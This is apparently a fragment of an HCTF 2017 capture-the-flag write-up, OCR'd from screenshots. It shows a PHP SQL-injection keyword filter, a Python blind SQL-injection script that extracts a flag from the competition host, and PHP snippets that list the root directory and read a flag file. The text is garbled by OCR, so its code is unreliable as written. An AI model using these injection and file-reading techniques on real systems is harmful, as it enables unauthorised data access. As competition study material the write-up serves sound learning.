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1 function sql_check ($sql) {

2 if(Ssql <1 || S$sql > 3){

3 die('We only have 3 users.');
4 )

5

6 Scheck = preg match('/&|_|\\+lor|,land| [\\I\\I1#]=1"1;1"I\\"I\\*| intolunion ([\\s\\S]+)select ([\\s\\S]+) from/i"',$sql) ;
7 if( $check ){

8 die("Nonono!") ;

9 } else {

10 return $sql;

11 }

12}
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1 #!/usr/bin/env python
2 # -*- coding:utf-8 -*-
3 # author = 'c014'

4

5 import requests

6

7 s = requests.session()
8 flag = "

10 for i in xrange (100) :

11 for j in range(33,128):

12 url = "http://sqls.2017.hctf.io/index/index.php?id=3"(select (count (1)) from(flag) where (binary (flag) <0x{}))". format ( (flag+chr (j)) .encode ('hex'))
13 r = s.get (url)

14 if 'Cc' not in r.text:

15 flag = flag + chr(j-1)

16 print '[+]flag:'+flag

17 break
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1 $c = new DirectoryIterator("glob:///*");
2 foreach ($c as $cc) {

3 echo Scc,"</br>";

4}
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echo file get contents('/flag is here/flag');

get flag~
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